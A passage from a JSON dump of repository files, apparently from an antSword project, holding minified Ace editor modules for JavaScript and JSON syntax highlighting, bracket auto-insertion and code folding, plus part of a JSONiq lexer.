b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c})"
  },
  {
    "path": "antSword/static/libs/ace/mode-json.js",
    "content": "ace.define(\"ace/mode/json_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"variable\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]\\\\s*(?=:)'},{token:\"string\",regex:'\"',next:\"string\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:\"invalid.illegal\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"invalid.illegal\",regex:\"\\\\/\\\\/.*$\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],string:[{token:\"constant.language.escape\",regex:/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[\"\\\\\\/bfnrt])/},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:'\"',next:\"start\"},{token:\"string\",regex:\"\",next:\"start\"}]}};r.inherits(s,i),t.JsonHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/json\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/json_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./json_highlight_rules\").JsonHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=e(\"../worker/worker_client\").WorkerClient,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(l,i),function(){this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t);if(e==\"start\"){var i=t.match(/^.*[\\{\\(\\[]\\s*$/);i&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new f([\"ace\"],\"ace/mode/json_worker\",\"JsonWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/json\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-jsoniq.js",
    "content": "ace.define(\"ace/mode/xquery/jsoniq_lexer\",[\"require\",\"exports\",\"module\"],function(e,t,n){n.exports=function r(t,n,i){function s(u,a){if(!n[u]){if(!t[u]){var f=typeof e==\"function\"&&e;if(!a&&f)return f(u,!0);if(o)return o(u,!0);throw new Error(\"Cannot find module '\"+u+\"'\")}var l=n[u]={exports:{}};t[u][0].call(l.exports,function(e){var n=t[u][1][e];return s(n?n:e)},l,l.exports,r,t,n,i)}return n[u].exports}var o=typeof e==\"function\"&&e;for(var u=0;u<i.length;u++)s(i[u]);return s}({1:[function(e,t,n){var r=n.JSONiqTokenizer=function i(e,t){function r(e,t){E=t,S=e,x=e.length,s(0,0,0)}function s(e,t,n){m=t,g=t,y=e,b=t,w=n,N=n,E.reset(S)}function o(){E.startNonterminal(\"EQName\",g);switch(y){case 80:f(80);break;case 94:f(94);break;case 118:f(118);break;case 119:f(119);break;case 122:f(122);break;case 143:f(143);break;case 150:f(150);break;case 163:f(163);break;case 183:f(183);break;case 189:f(189);break;case 214:f(214);break;case 224:f(224);break;case 225:f(225);break;case 241:f(241);break;case 242:f(242);break;case 251:f(251);break;default:u()}E.endNonterminal(\"EQName\",g)}function u(){E.startNonterminal(\"FunctionName\",g);switch(y){case 17:f(17);break;case 68:f(68);break;case 71:f(71);break;case 72:f(72);break;case 73:f(73);break;case 77:f(77);break;case 78:f(78);break;case 82:f(82);break;case 86:f(86);break;case 87:f(87);break;case 88:f(88);break;case 91:f(91);break;case 92:f(92);break;case 101:f(101);break;case 103:f(103);break;case 106:f(106);break;case 107:f(107);break;case 108:f(108);break;case 109:f(109);break;case 110:f(110);break;case 111:f(111);break;case 116:f(116);break;case 117:f(117);break;case 120:f(120);break;case 121:f(121);break;case 124:f(124);break;case 126:f(126);break;case 127:f(127);break;case 129:f(129);break;case 132:f(132);break;case 133:f(133);break;case 134:f(134);break;case 135:f(135);break;case 144:f(144);break;case 146:f(146);break;case 148:f(148);break;case 149:f(149);break;case 151:f(151);break;case 157:f(157);break;case 158:f(158);break;case 160:f(160);break;case 161:f(161);break;case 162:f(162);break;case 168:f(168);break;case 170:f(170);break;case 172:f(172);break;case 176:f(176);break;case 178:f(178);break;case 179:f(179);break;case 180:f(180);break;case 182:f(182);break;case 184:f(184);break;case 196:f(196);break;case 198:f(198);break;case 199:f(199);break;case 200:f(200);break;case 204:f(204);break;case 210:f(210);break;case 211:f(211);break;case 216:f(216);break;case 217:f(217);break;case 218:f(218);break;case 222:f(222);break;case 227:f(227);break;case 233:f(233);break;case 234:f(234);break;case 235:f(235);break;case 246:f(246);break;case 247:f(247);break;case 248:f(248);break;case 252:f(252);break;case 254:f(254);break;case 258:f(258);break;case 264:f(264);break;case 268:f(268);break;case 272:f(272);break;case 70:f(70);break;case 79:f(79);break;case 81:f(81);break;case 83:f(83);break;case 84:f(84);break;case 89:f(89);break;case 96:f(96);break;case 99:f(99);break;case 100:f(100);break;case 102:f(102);break;case 104:f(104);break;case 123:f(123);break;case 130:f(130);break;case 131:f(131);break;case 139:f(139);break;case 152:f(152);break;case 153:f(153);break;case 159:f(159);break;case 169:f(169);break;case 190:f(190);break;case 197:f(197);break;case 201:f(201);break;case 220:f(220);break;case 223:f(223);break;case 226:f(226);break;case 232:f(232);break;case 238:f(238);break;case 249:f(249);break;case 250:f(250);break;case 255:f(255);break;case 259:f(259);break;case 260:f(260);break;case 261:f(261);break;case 265:f(265);break;case 95:f(95);break;case 174:f(174);break;default:f(219)}E.endNonterminal(\"FunctionName\",g)}function a(){E.startNonterminal(\"NCName\",g);switch(y){case 28:f(28);break;case 68:f(68);break;case 73:f(73);break;case 77:f(77);break;case 78:f(78);break;case 82:f(82);break;case 86:f(86);break;case 87:f(87);break;case 88:f(88);break;case 92:f(92);break;case 103:f(103);break;case 107:f(107);break;case 111:f(111);break;case 116:f(116);break;case 120:f(120);break;case 121:f(121);break;case 124:f(124);break;case 126:f(126);break;case 129:f(129);break;case 135:f(135);break;case 144:f(144);break;case 146:f(146);break;case 148:f(148);break;case 149:f(149);break;case 158:f(158);break;case 160:f(160);break;case 161:f(161);break;case 162:f(162);break;case 170:f(170);break;case 172:f(172);break;case 176:f(176);break;case 178:f(178);break;case 179:f(179);break;case 184:f(184);break;case 196:f(196);break;case 198:f(198);break;case 199:f(199);break;case 218:f(218);break;case 222:f(222);break;case 234:f(234);break;case 235:f(235);break;case 246:f(246);break;case 247:f(247);break;case 252:f(252);break;case 264:f(264);break;case 268:f(268);break;case 71:f(71);break;case 72:f(72);break;case 80:f(80);break;case 91:f(91);break;case 94:f(94);break;case 101:f(101);break;case 106:f(106);break;case 108:f(108);break;case 109:f(109);break;case 110:f(110);break;case 117:f(117);break;case 118:f(118);break;case 119:f(119);break;case 122:f(122);break;case 127:f(127);break;case 132:f(132);break;case 133:f(133);break;case 134:f(134);break;case 143:f(143);break;case 150:f(150);break;case 151:f(151);break;case 157:f(157);break;case 163:f(163);break;case 168:f(168);break;case 180:f(180);break;case 182:f(182);break;case 183:f(183);break;case 189:f(189);break;case 200:f(200);break;case 204:f(204);break;case 210:f(210);break;case 211:f(211);break;case 214:f(214);break;case 216:f(216);break;case 217:f(217);break;case 224:f(224);break;case 225:f(225);break;case 227:f(227);break;case 233:f(233);break;case 241:f(241);break;case 242:f(242);break;case 248:f(248);break;case 251:f(251);break;case 254:f(254);break;case 258:f(258);break;case 260:f(260);break;case 272:f(272);break;case 70:f(70);break;case 79:f(79);break;case 81:f(81);break;case 83:f(83);break;case 84:f(84);break;case 89:f(89);break;case 96:f(96);break;case 99:f(99);break;case 100:f(100);break;case 102:f(102);break;case 104:f(104);break;case 123:f(123);break;case 130:f(130);break;case 